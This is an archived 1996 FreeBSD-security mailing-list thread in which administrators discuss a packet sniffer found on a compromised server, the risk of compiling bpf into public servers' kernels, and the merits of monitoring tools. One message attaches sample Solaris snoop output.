(taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id VAA10530; Tue, 10 Dec 1996 21:36:54 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Tue, 10 Dec 1996 21:36:54 -0500 (EST) From: Brian Tao To: "David E. O'Brien" cc: freebsd-security@freebsd.org Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, David E. O'Brien wrote: > > Hum... these are from SunOS 4.1.3_U1: Yep, that's what it says in the header files. ;-) I imagine the packet sniffer itself needed it, or it came with the distribution, or he didn't have enough of a clue to realize what the *.h files are for. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Tue Dec 10 19:00:15 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id TAA01485 for security-outgoing; Tue, 10 Dec 1996 19:00:15 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id TAA01474 for ; Tue, 10 Dec 1996 19:00:08 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Tue, 10 Dec 1996 22:00:07 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id VAA24628; Tue, 10 Dec 1996 21:56:47 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma024626; Tue Dec 10 21:56:45 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id VAA10660; Tue, 10 Dec 1996 21:53:48 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Tue, 10 Dec 1996 21:53:48 -0500 (EST) From: Brian Tao To: Don Lewis cc: FREEBSD-SECURITY-L Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: <199612100745.XAA00966@salsa.gv.ssi1.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 9 Dec 1996, Don Lewis wrote: > > Hmn, I think wu-ftpd runs as root in anonymous mode so that it can > chroot(). I seem to recall there was a buffer overflow bug in it's > private realpath() implementation. I'm going to install the latest wuftpd beta as Mark H. and Cy S. have suggested. Sendmail has also been upgraded to 8.8.4, just to be safe (although there isn't much safe with sendmail around... ;-)). > } I don't think we're dealing with someone that sophisticated yet. > } They would have had to patch a running kernel, since there hasn't been > } any recent reboots. > > I just mentioned this for completeness. It's something that you should > really check if root has been compromised. The kernels seem to check out, as does everything in /lkm. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Tue Dec 10 19:04:41 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id TAA01908 for security-outgoing; Tue, 10 Dec 1996 19:04:41 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id TAA01897 for ; Tue, 10 Dec 1996 19:04:38 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Tue, 10 Dec 1996 22:04:37 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id WAA24696 for ; Tue, 10 Dec 1996 22:01:17 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma024694; Tue Dec 10 22:01:06 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id VAA10722 for ; Tue, 10 Dec 1996 21:58:09 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Tue, 10 Dec 1996 21:58:09 -0500 (EST) From: Brian Tao To: FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <9612101452.AA21942@halloran-eldar.lcs.mit.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk What are people's feelings on enabling devices like bpf or snp in the kernel on a public server? Obviously, had I not compiled bpf into the shell and Web server kernels, this particular incident would never have happened. However, I like to have access to tcpdump to check for things like ping floods, and trafshow to see where bytes are being sent. I know this depends entirely on your local setup, and every site has different policies, but I'd like to hear if anyone has strong feelings about "enabled" kernels or proposed solutions (i.e., an option to make bpf work only for processes run on the console). -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Tue Dec 10 19:53:50 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id TAA06314 for security-outgoing; Tue, 10 Dec 1996 19:53:50 -0800 (PST) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id TAA06300 for ; Tue, 10 Dec 1996 19:53:45 -0800 (PST) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.2/8.7.3) id OAA21602; Wed, 11 Dec 1996 14:23:23 +1030 (CST) From: Michael Smith Message-Id: <199612110353.OAA21602@genesis.atrad.adelaide.edu.au> Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: from Brian Tao at "Dec 10, 96 09:58:09 pm" To: taob@io.org (Brian Tao) Date: Wed, 11 Dec 1996 14:23:22 +1030 (CST) Cc: freebsd-security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Brian Tao stands accused of saying: > What are people's feelings on enabling devices like bpf or snp > in the kernel on a public server? Obviously, had I not compiled bpf > into the shell and Web server kernels, this particular incident would > never have happened. However, I like to have access to tcpdump to > check for things like ping floods, and trafshow to see where bytes are > being sent. Evil evil evil. Definitely never on a public server; bpf lets you do lots more than just snoop, it makes it possible (easier) to spoof as well. > I know this depends entirely on your local setup, and every site > has different policies, but I'd like to hear if anyone has strong > feelings about "enabled" kernels or proposed solutions (i.e., an > option to make bpf work only for processes run on the console). No. If you want to watch the network, set up a utility machine, or at least a machine with no shell users on it, and use that. > Brian Tao (BT300, taob@io.org, taob@ican.net) -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-security Tue Dec 10 20:33:08 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id UAA10031 for security-outgoing; Tue, 10 Dec 1996 20:33:08 -0800 (PST) Received: from root.com (implode.root.com [198.145.90.17]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id UAA10022 for ; Tue, 10 Dec 1996 20:33:05 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by root.com (8.7.6/8.6.5) with SMTP id UAA10905; Tue, 10 Dec 1996 20:32:02 -0800 (PST) Message-Id: <199612110432.UAA10905@root.com> X-Authentication-Warning: implode.root.com: Host localhost [127.0.0.1] didn't use HELO protocol To: Michael Smith cc: taob@io.org (Brian Tao), freebsd-security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-reply-to: Your message of "Wed, 11 Dec 1996 14:23:22 +1030." <199612110353.OAA21602@genesis.atrad.adelaide.edu.au> From: David Greenman Reply-To: dg@root.com Date: Tue, 10 Dec 1996 20:32:02 -0800 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Brian Tao stands accused of saying: >> What are people's feelings on enabling devices like bpf or snp >> in the kernel on a public server? Obviously, had I not compiled bpf >> into the shell and Web server kernels, this particular incident would >> never have happened. However, I like to have access to tcpdump to >> check for things like ping floods, and trafshow to see where bytes are >> being sent. > >Evil evil evil. Definitely never on a public server; bpf lets you do >lots more than just snoop, it makes it possible (easier) to spoof as >well. I made the mistake of putting bpf in freefall's kernel a long time ago and forgot it was in there. Someone eventually took advantage of that and used it to sniff passwords at Walnut Creek CDROM. This led to a serious break-in on wcarchive. Needless to say, bpf is no longer in freefall's kernel. It was never in wcarchive's kernel (and never will be)...the damage would have been much worse if it had been. The moral of the story for me was never to put bpf in a "public" server's kernel. I hope you've learned the same lesson. :-) >> I know this depends entirely on your local setup, and every site >> has different policies, but I'd like to hear if anyone has strong >> feelings about "enabled" kernels or proposed solutions (i.e., an >> option to make bpf work only for processes run on the console). > >No. If you want to watch the network, set up a utility machine, or >at least a machine with no shell users on it, and use that. Right, and if you have machines co-located, be sure to always give them their own switch port - never connect them to a shared hub. You should also strongly encourage the use of ssh whenever doing remote logins. We've taken all of these precautions at Walnut Creek CDROM... -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-security Tue Dec 10 20:57:04 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id UAA12537 for security-outgoing; Tue, 10 Dec 1996 20:57:04 -0800 (PST) Received: from janus.saturn.net (brian@janus.saturn.net [206.42.0.10]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id UAA12524 for ; Tue, 10 Dec 1996 20:56:58 -0800 (PST) Received: (from brian@localhost) by janus.saturn.net (8.7.6/8.6.9) id AAA08766; Wed, 11 Dec 1996 00:55:37 -0500 Date: Wed, 11 Dec 1996 00:55:37 -0500 (EST) From: Brian Mitchell To: Brian Tao cc: FREEBSD-SECURITY-L Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Brian Tao wrote: > On Tue, 10 Dec 1996, Brian Mitchell wrote: > > > > I'm not sure it is wise to announce to the world that you are not running > > a tripwire-style program. > > Now I didn't say *that*. I just said I would like to have > something like tripwire to automate this for me, instead of diffing > md5 output via a script I cobbled together. ;-) > > MD5 checksums of all files checked out (binaries, libs, lkms, > scripts, etc.), including /sbin/md5 itself. There were no regular > files in /dev other than MAKEDEV and MAKEDEV.local (a favourite hiding > place for rootkit config files). No unexpected setuid executables > have been found on any of the affected servers. > > I did find the following three files on one of the shell servers, > which suggests the original compromise started there: > > -rw-r--r-- speff/user 2363 Dec 1 17:37 1996 usr/include/net/nit_buf.h > -rw-r--r-- speff/user 2628 Dec 1 17:37 1996 usr/include/net/nit_if.h > -rw-r--r-- speff/user 3016 Dec 1 17:37 1996 usr/include/sys/stropts.h > I dont have it in front of me, but those look like files from the pcap distribution. This is kinda strange to see installed, since freebsd has (had?) libpcap as a standard part of the setup, doesnt it? In any case, sniffit uses libpcap, and it would make sense speff is the original account that did the penetration (but not the perpetrator, mind you). > The date on the files is worrisome: they are over a week old. > The packet sniffer binaries and logs were no more than 24 hours old > when I discovered them though, so I'm crossing my fingers and hoping > he hasn't been watching packets longer than that. Thank god all our > root sessions are done through end-to-end encrypted connections... If he has root, he can replace ssh binaries (or whatever you are using) with programs to log the traffic. Encryption is pointless when binaries can be replaced on either end. ####################################################################### Brian Mitchell brian@saturn.net ####################################################################### From owner-freebsd-security Tue Dec 10 22:27:28 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id WAA20726 for security-outgoing; Tue, 10 Dec 1996 22:27:28 -0800 (PST) Received: from obie.softweyr.com (slc148.modem.xmission.com [204.228.136.148]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id WAA20713 for ; Tue, 10 Dec 1996 22:27:24 -0800 (PST) Received: (from wes@localhost) by obie.softweyr.com (8.7.5/8.6.12) id XAA00240; Tue, 10 Dec 1996 23:27:12 -0700 (MST) Date: Tue, 10 Dec 1996 23:27:12 -0700 (MST) Message-Id: <199612110627.XAA00240@obie.softweyr.com> From: Wes Peters To: Michael Smith CC: security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <199612110353.OAA21602@genesis.atrad.adelaide.edu.au> References: <199612110353.OAA21602@genesis.atrad.adelaide.edu.au> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Brian Tao stands accused of saying: % What are people's feelings on enabling devices like bpf or snp % in the kernel on a public server? Obviously, had I not compiled bpf % into the shell and Web server kernels, this particular incident would % never have happened. However, I like to have access to tcpdump to % check for things like ping floods, and trafshow to see where bytes are % being sent. Michael Smith opined: > Evil evil evil. Definitely never on a public server; bpf lets you do > lots more than just snoop, it makes it possible (easier) to spoof as > well. % I know this depends entirely on your local setup, and every site % has different policies, but I'd like to hear if anyone has strong % feelings about "enabled" kernels or proposed solutions (i.e., an % option to make bpf work only for processes run on the console). > No. If you want to watch the network, set up a utility machine, or > at least a machine with no shell users on it, and use that. Better yet, get some sort of sniffer package to run on another system. We use Ether Peek for Macintosh and Win95 at work, both seem to work well. In addition to *not* opening up your important machines to hack attacks, such a tool will also let you look at non-IP activity, bare ethernet activity, and let you examine the output of a machine that seems to be going sick in the ether adapter. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.xmission.com/~softweyr softweyr@xmission.com From owner-freebsd-security Tue Dec 10 22:35:02 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id WAA21259 for security-outgoing; Tue, 10 Dec 1996 22:35:02 -0800 (PST) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id WAA21239 for ; Tue, 10 Dec 1996 22:34:55 -0800 (PST) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.2/8.7.3) id RAA22676; Wed, 11 Dec 1996 17:04:37 +1030 (CST) From: Michael Smith Message-Id: <199612110634.RAA22676@genesis.atrad.adelaide.edu.au> Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <199612110627.XAA00240@obie.softweyr.com> from Wes Peters at "Dec 10, 96 11:27:12 pm" To: softweyr@xmission.com (Wes Peters) Date: Wed, 11 Dec 1996 17:04:36 +1030 (CST) Cc: msmith@atrad.adelaide.edu.au, security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Wes Peters stands accused of saying: > > Better yet, get some sort of sniffer package to run on another system. > We use Ether Peek for Macintosh and Win95 at work, both seem to work > well. In addition to *not* opening up your important machines to hack > attacks, such a tool will also let you look at non-IP activity, bare > ethernet activity, and let you examine the output of a machine that > seems to be going sick in the ether adapter. Tcpdump does all this and lots more; the filter language is pretty powerful. The fact that it knows how to interpret lots of protocols and that you can extend it (courtesy of the source and an easy internal interface) puts it over anyuthing else I've seen yet. > Wes Peters Softweyr LLC -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-security Tue Dec 10 22:56:17 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id WAA22370 for security-outgoing; Tue, 10 Dec 1996 22:56:17 -0800 (PST) Received: from redmare.com (brian@lin-pm2-011.inetnebr.com [206.222.209.11]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id WAA22360 for ; Tue, 10 Dec 1996 22:56:13 -0800 (PST) Received: from localhost (brian@localhost) by redmare.com (8.7.4/8.7.3) with SMTP id AAA00267; Wed, 11 Dec 1996 00:51:46 -0600 (CST) X-Authentication-Warning: redmare.com: brian owned process doing -bs Date: Wed, 11 Dec 1996 00:51:45 -0600 (CST) From: Brian Mitchell X-Sender: brian@redmare.com To: Brian Tao cc: FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Brian Tao wrote: > What are people's feelings on enabling devices like bpf or snp > in the kernel on a public server? Obviously, had I not compiled bpf > into the shell and Web server kernels, this particular incident would > never have happened. However, I like to have access to tcpdump to > check for things like ping floods, and trafshow to see where bytes are > being sent. If you disable it, remember to take lkm out with it. > > I know this depends entirely on your local setup, and every site > has different policies, but I'd like to hear if anyone has strong > feelings about "enabled" kernels or proposed solutions (i.e., an > option to make bpf work only for processes run on the console). all machines clearly dont need bpf, maybe a single machine (admin machine) with it enabled to monitor the network, but the public machines should probably have it disabled. Brian Mitchell / brian@saturn.net From owner-freebsd-security Tue Dec 10 23:17:18 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id XAA23371 for security-outgoing; Tue, 10 Dec 1996 23:17:18 -0800 (PST) Received: from silver.sms.fi (root@silver.sms.fi [194.111.122.17]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id XAA23366 for ; Tue, 10 Dec 1996 23:17:15 -0800 (PST) Received: (from pete@localhost) by silver.sms.fi (8.7.6/8.7.3) id JAA01999; Wed, 11 Dec 1996 09:16:58 +0200 (EET) Date: Wed, 11 Dec 1996 09:16:58 +0200 (EET) Message-Id: <199612110716.JAA01999@silver.sms.fi> From: Petri Helenius To: Brian Tao Cc: FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: References: <9612101452.AA21942@halloran-eldar.lcs.mit.edu> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Brian Tao writes: > What are people's feelings on enabling devices like bpf or snp > in the kernel on a public server? Obviously, had I not compiled bpf > into the shell and Web server kernels, this particular incident would > never have happened. However, I like to have access to tcpdump to > check for things like ping floods, and trafshow to see where bytes are > being sent. > I think one consideration here is that to run some of the desired functionality, like dhcpd, you need to have them. Pete From owner-freebsd-security Tue Dec 10 23:45:50 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id XAA24720 for security-outgoing; Tue, 10 Dec 1996 23:45:50 -0800 (PST) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id XAA24712 for ; Tue, 10 Dec 1996 23:45:48 -0800 (PST) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.2/8.7.3) id SAA23084; Wed, 11 Dec 1996 18:15:26 +1030 (CST) From: Michael Smith Message-Id: <199612110745.SAA23084@genesis.atrad.adelaide.edu.au> Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <199612110716.JAA01999@silver.sms.fi> from Petri Helenius at "Dec 11, 96 09:16:58 am" To: pete@sms.fi (Petri Helenius) Date: Wed, 11 Dec 1996 18:15:25 +1030 (CST) Cc: taob@io.org, freebsd-security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Petri Helenius stands accused of saying: > Brian Tao writes: > > What are people's feelings on enabling devices like bpf or snp > > in the kernel on a public server? Obviously, had I not compiled bpf > > into the shell and Web server kernels, this particular incident would > > never have happened. However, I like to have access to tcpdump to > > check for things like ping floods, and trafshow to see where bytes are > > being sent. > > > I think one consideration here is that to run some of the desired > functionality, like dhcpd, you need to have them. Not on a _shell_server_ you don't. If you're in the business of offering shell access (which is fortunately becoming rarer), your shell machines need to be _watertight_, which normally involves removing just about everything. > Pete -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-security Wed Dec 11 00:35:34 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id AAA26551 for security-outgoing; Wed, 11 Dec 1996 00:35:34 -0800 (PST) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id AAA26544 for ; Wed, 11 Dec 1996 00:35:32 -0800 (PST) Received: by agora.rdrop.com (Smail3.1.29.1 #17) id m0vXk8T-0008vkC; Wed, 11 Dec 96 00:35 PST Message-Id: From: batie@agora.rdrop.com (Alan Batie) Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) To: taob@io.org (Brian Tao) Date: Wed, 11 Dec 1996 00:35:25 -0800 (PST) Cc: freebsd-security@freebsd.org In-Reply-To: from "Brian Tao" at Dec 10, 96 09:58:09 pm X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > What are people's feelings on enabling devices like bpf or snp > in the kernel on a public server? I've left it out of agora since day one (or near it) for exactly that reason... it makes it difficult to debug slip/ppp connections, but it's rare that packet monitoring is needed for them, and it's not worth the risk. -- Alan Batie ______ batie@agora.rdrop.com \ / Assimilate this! +1 503 452-0960 \ / --Worf, First Contact DE 3C 29 17 C0 49 7A 27 \/ 40 A5 3C 37 4A DA 52 B9 It is my policy to avoid purchase of any products from companies which use unrequested email advertisements or telephone solicitation. From owner-freebsd-security Wed Dec 11 00:45:53 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id AAA26921 for security-outgoing; Wed, 11 Dec 1996 00:45:53 -0800 (PST) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id AAA26912 for ; Wed, 11 Dec 1996 00:45:49 -0800 (PST) Received: by agora.rdrop.com (Smail3.1.29.1 #17) id m0vXkIL-0008vkC; Wed, 11 Dec 96 00:45 PST Message-Id: From: batie@agora.rdrop.com (Alan Batie) Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Wed, 11 Dec 1996 00:45:37 -0800 (PST) Cc: softweyr@xmission.com, msmith@atrad.adelaide.edu.au, security@freebsd.org In-Reply-To: <199612110634.RAA22676@genesis.atrad.adelaide.edu.au> from "Michael Smith" at Dec 11, 96 05:04:36 pm X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Tcpdump does all this and lots more; the filter language is pretty powerful. Given that bpf implements a little software processor, you could probably demonstrate its equivalence to a turing machine. I'm not sure if the lack of back referencing jumps inhibits this or not, but I don't think so. So, yeah it's pretty powerful :-) (yeah, that's not tcpdump, but all tcpdump is is a compiler for this processor) -- Alan Batie ______ batie@agora.rdrop.com \ / Assimilate this! +1 503 452-0960 \ / --Worf, First Contact DE 3C 29 17 C0 49 7A 27 \/ 40 A5 3C 37 4A DA 52 B9 It is my policy to avoid purchase of any products from companies which use unrequested email advertisements or telephone solicitation. From owner-freebsd-security Wed Dec 11 01:11:47 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id BAA28067 for security-outgoing; Wed, 11 Dec 1996 01:11:47 -0800 (PST) Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [128.120.56.38]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id BAA28061 for ; Wed, 11 Dec 1996 01:11:44 -0800 (PST) Received: (from obrien@localhost) by relay.nuxi.com (8.7.5/8.6.12) id BAA07851; Wed, 11 Dec 1996 01:12:00 -0800 (PST) Message-ID: Date: Wed, 11 Dec 1996 01:11:56 -0800 From: obrien@NUXI.com (David E. O'Brien) To: msmith@atrad.adelaide.edu.au (Michael Smith) Cc: security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) References: <199612110627.XAA00240@obie.softweyr.com> <199612110634.RAA22676@genesis.atrad.adelaide.edu.au> X-Mailer: Mutt 0.53 Mime-Version: 1.0 X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 In-Reply-To: <199612110634.RAA22676@genesis.atrad.adelaide.edu.au>; from Michael Smith on Dec 11, 1996 17:04:36 +1030 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Tcpdump does all this and lots more; the filter language is pretty powerful. > > The fact that it knows how to interpret lots of protocols and that you > can extend it (courtesy of the source and an easy internal interface) > puts it over anyuthing else I've seen yet. Except for Solaris's snoop. The output is *SO* much nicer than tcpdumps. If you ever get a chance try snoop -v or snoop -V. -- -- David (obrien@cs.ucdavis.edu) From owner-freebsd-security Wed Dec 11 01:14:42 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id BAA28220 for security-outgoing; Wed, 11 Dec 1996 01:14:42 -0800 (PST) Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [128.120.56.38]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id BAA28215 for ; Wed, 11 Dec 1996 01:14:38 -0800 (PST) Received: (from obrien@localhost) by relay.nuxi.com (8.7.5/8.6.12) id BAA07878; Wed, 11 Dec 1996 01:14:53 -0800 (PST) Message-ID: Date: Wed, 11 Dec 1996 01:14:52 -0800 From: obrien@NUXI.com (David E. O'Brien) To: msmith@atrad.adelaide.edu.au (Michael Smith) Cc: security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) References: <199612110627.XAA00240@obie.softweyr.com> <199612110634.RAA22676@genesis.atrad.adelaide.edu.au> X-Mailer: Mutt 0.53 Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=m0nHx4uhPaACIWKo X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 In-Reply-To: <199612110634.RAA22676@genesis.atrad.adelaide.edu.au>; from Michael Smith on Dec 11, 1996 17:04:36 +1030 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk --m0nHx4uhPaACIWKo > Tcpdump does all this and lots more; the filter language is pretty powerful. > > The fact that it knows how to interpret lots of protocols and that you > can extend it (courtesy of the source and an easy internal interface) > puts it over anyuthing else I've seen yet. Except for Solaris's snoop. The output is *SO* much nicer than tcpdumps. If you ever get a chance try snoop -v or snoop -V. -- -- David (obrien@cs.ucdavis.edu) --m0nHx4uhPaACIWKo Content-Description: snoop -V Content-Disposition: attachment; filename=V Script started on Wed Dec 11 00:39:32 1996 bash# snoop -V Using device /dev/le (promiscuous mode) ________________________________ aphrodite.cs.ucdavis.edu -> kongur.cs.ucdavis.edu ETHER Type=0800 (IP), size = 60 bytes aphrodite.cs.ucdavis.edu -> kongur.cs.ucdavis.edu IP D=128.120.56.192 S=128.120.56.61 LEN=40, ID=51149 aphrodite.cs.ucdavis.edu -> kongur.cs.ucdavis.edu TCP D=39134 S=6000 Ack=2798708427 Seq=31948436 Len=0 Win=16384 aphrodite.cs.ucdavis.edu -> kongur.cs.ucdavis.edu XWIN R port=39134 ________________________________ nuxi.cs.ucdavis.edu -> kongur.cs.ucdavis.edu ETHER Type=0800 (IP), size = 60 bytes nuxi.cs.ucdavis.edu -> kongur.cs.ucdavis.edu IP D=128.120.56.192 S=128.120.56.38 LEN=40, ID=16356 nuxi.cs.ucdavis.edu -> kongur.cs.ucdavis.edu TCP D=513 S=1023 Ack=1393951994 Seq=1295258267 Len=0 Win=17520 nuxi.cs.ucdavis.edu -> kongur.cs.ucdavis.edu RLOGIN C port=1023 ________________________________ request-e.ucdavis.edu -> nuxi.cs.ucdavis.edu ETHER Type=0800 (IP), size = 60 bytes request-e.ucdavis.edu -> nuxi.cs.ucdavis.edu IP D=128.120.56.38 S=128.120.253.120 LEN=40, ID=1096 request-e.ucdavis.edu -> nuxi.cs.ucdavis.edu TCP D=23 S=63512 Ack=1260057294 Seq=2501769323 Len=0 Win=1671 request-e.ucdavis.edu -> nuxi.cs.ucdavis.edu TELNET C port=63512 ________________________________ keep3.cs.ucdavis.edu -> kanab.cs.ucdavis.edu ETHER Type=0800 (IP), size = 138 bytes keep3.cs.ucdavis.edu -> kanab.cs.ucdavis.edu IP D=128.120.56.73 S=128.120.56.3 LEN=124, ID=16397 keep3.cs.ucdavis.edu -> kanab.cs.ucdavis.edu UDP D=1022 S=2049 LEN=104 keep3.cs.ucdavis.edu -> kanab.cs.ucdavis.edu RPC R 